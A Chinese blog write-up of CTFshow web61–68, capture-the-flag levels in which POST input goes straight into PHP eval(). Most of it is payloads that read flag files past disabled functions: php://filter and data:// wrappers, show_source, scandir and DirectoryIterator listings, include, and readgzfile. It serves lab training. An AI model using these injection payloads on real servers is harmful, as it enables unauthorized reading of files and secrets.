当前位置: 首页 > news >正文

CTFshow系列——命令执行web61-68

本篇文章介绍了不同了方法进行题目的解析以及原因讲解。

文章目录

    • Web61
      • 尝试了一下,被过滤的payload如下:
      • 所以,根据上述思路,这里尝试过的payload为:
    • Web62(同Web61)
    • Web63(同Web62)
    • Web64(同Web63)
    • Web65(同Web64)
    • Web66(新知识点)
      • 失败的payload
      • 知识点
      • 新思路:PHP原生类可遍历目录
    • Web67(同Web66)
    • Web68(新知识)
    • 总结


Web61

命令执行,突破禁用函数.先看下代码:

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

我们随便尝试了payload,发现file_get_contents()函数还被过滤了(又损失一员大酱

在这里插入图片描述

尝试了一下,被过滤的payload如下:

c=echo file_get_contents('flag.php');
c=readfile('flag.php');# 后面会解释
c=rename("flag.php","out2.txt");
c=copy("flag.php","out1.txt");

所以,根据上述思路,这里尝试过的payload为:

c=highlight_file('flag.php');
c=echo highlight_file('flag.php');# payload
c=show_source(next(array_reverse(scandir(pos(localeconv())))));
# 伪协议
c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");
c=include "data://text/plain,<?php show_source('flag.php'); ?>";# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述
当然,之前说的额外方法是不是也能用?

  • copy函数 被过滤了,无法使用
  • rename函数 也被过滤了,无法使用

Web62(同Web61)

还是先看代码:

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

尝试了一下,发现并未变化,继续用Web61的payload:
(这里就不显示了,参照上一题;)

在这里插入图片描述


Web63(同Web62)

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

没有什么不同,参照Web62关的payload;


Web64(同Web63)

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

没有什么不同,参照Web63关的payload;
(嗯?这回答我好像在哪见过?)

# payload:
c=show_source('flag.php');

这个不能算多,因为放到上面几关一样能用,只不过是我忘了而已;

Web65(同Web64)

同理,参照Web64关的payload;


Web66(新知识点)

好了,刷了这么多分,相信也厌倦了,这关开始就有点不同了:

<?php// 你们在炫技吗?
if(isset($_POST['c'])){$c= $_POST['c'];eval($c);
}else{highlight_file(__FILE__);
}

失败的payload

尝试过后,我们发现常用的函数都被过滤掉了:

  • show_source()
  • highlight_file()

在这里插入图片描述
在这里插入图片描述

而php伪协议的结果也显示乱码:(中文才会乱码)
不出意外,应该就是:“秀秀得了,这次不在这里”

c=include("php://filter/convert.iconv.utf8.utf16/resource=flag.php");

在这里插入图片描述

知识点

但是终究还是有成功的:

# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

那么除此之外,我们还有什么别的办法吗?
答:有的,那是肯定的;

要想得到flag,首先得知道文件所在的位置:

  • var_dump(scandir("/"));
    • scandir(“/”):scandir() 函数用于扫描指定目录并返回目录中的文件和子目录列表。“/” 表示服务器的根目录(在 Linux 系统中是根目录,Windows 系统中可能是当前磁盘根目录)。
    • var_dump():用于打印变量的详细信息,包括数据类型、长度和值。
    • 整体作用:扫描服务器根目录下的所有文件和文件夹,并以详细格式(包含数据类型和长度)输出结果。
  • print_r('/');
    • print_r() 是 PHP 中用于打印变量的函数,通常用于打印数组或对象的结构,但也可以打印普通变量。
    • 这里参数是字符串 ‘/’,所以会直接输出字符 /。
    • 整体作用:简单输出一个斜杠字符,没有实际的文件系统扫描功能,只是输出字符串本身。
  • var_export(scandir('/'));
    • 同样调用 scandir(‘/’) 扫描服务器根目录,获取文件和目录列表。
    • var_export() 函数用于输出或返回一个变量的字符串表示(类似 PHP 代码的格式),适合用于将变量结构以可执行的 PHP 代码形式展示。
    • 整体作用:扫描服务器根目录,并以 PHP 代码格式的字符串形式输出目录列表(可以直接作为 PHP 代码使用)。

所以,我们首先可以查看文件所在位置究竟在何处:

c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));

在这里插入图片描述

那我们要怎么查看flag.txt文件呢?
嗯?你敢说这种话,我之前写的文章白看了?,真得控制你了

# payload
c=highlight_file('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php

在这里插入图片描述

新思路:PHP原生类可遍历目录

这种方法也是好方法,虽然我也是第一次遇到。

# payload
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

解码后结果显示:

在这里插入图片描述


Web67(同Web66)

尝试过了,一模一样

# 查看目录
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));# payload
c=highlight_file('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

没什么好说的,直接看payload;


Web68(新知识)

老样子。。。我代码呢?

在这里插入图片描述

尝试了一下发现查看目录还是能够正常进行:

# 查看目录
c=var_dump(scandir("/"));
c=print_r(scandir("/"));
c=var_export(scandir('/'));

highlight_file() 函数被过滤了,我们要如何查看flag文件呢?

经过我的尝试,发现最有用的还是文件包含的手法:

  • 在命令执行的题目,做文件包含吗,有意思。
# payload
include('/flag.txt');  // 直接包含文件
require_once('/flag.txt');# POST传参
c=include($_POST['w']);&w=php://filter/convert.base64-encode/resource=flag.php# PHP类遍历目录
c=%24dir%3dnew%20DirectoryIterator(%22%2f%22)%3b%0aforeach(%24dir%20as%20%24f)%7b%0a%20%20%20%20echo(%24f.'%3cbr%3e')%3b%7d)

还有新函数c=readgzfile(); ,我也是看了WP才知道这个函数:

c=readgzfile("/flag.txt");

总结

还是那句话,好好学习沉淀,终究会达到你想要的目标。

http://www.dtcms.com/a/356056.html

相关文章:

  • C++之多态篇
  • 君正T31学习(四)- MT7682+VLC出图
  • 【python】python进阶——as关键字
  • 程序代码篇---类
  • SpringCloud Alibaba Nacos 注册中心/配置中心
  • SpringBoot 配置文件在运维开发中的应用
  • 基于springboot的商业店铺租赁系统
  • 在 Vue 前端(Vue2/Vue3 通用)载入 JSON 格式的动图
  • 校园文化活动管理系统设计与实现(代码+数据库+LW)
  • web前端知识——第一阶段
  • 【buildroot】【1. Buildroot版本与Linux内核调试对应关系】
  • 基于SpringBoot的旅游景点推荐系统【2026最新】
  • 域名所有权变更,需要重新备案吗
  • Day16_【机器学习分类】
  • 软磁材料与硬磁材料
  • MTK Linux DRM分析(十九)- KMS drm_framebuffer.c
  • LeetCode 141.环形链表
  • 软考中级【网络工程师】第6版教材 第4章 无线通信网 (上)
  • 8.28 JS移动端事件
  • HTTP 范围请求:为什么你的下载可以“断点续传”?
  • 现在购买PCIe 5.0 SSD是否是最好的时机?
  • 嵌入式学习笔记--LINUX系统编程阶段--DAY02系统编程
  • 嵌入式学习日志————实验:串口发送串口发送+接收
  • 亚远景-ISO/PAS 8800:如何通过认证提升企业技术管理能力?
  • 入职体检空腹血糖 6.15mmol/L合格吗?
  • amis上传组件导入文件接口参数为base64格式的使用示例
  • NumPy 2.x 完全指南【三十一】布尔数组索引
  • ConcurrentHashMap的原理
  • 实战笔记——构建智能Agent:SpreadJS代码助手
  • vue3使用reactive和ref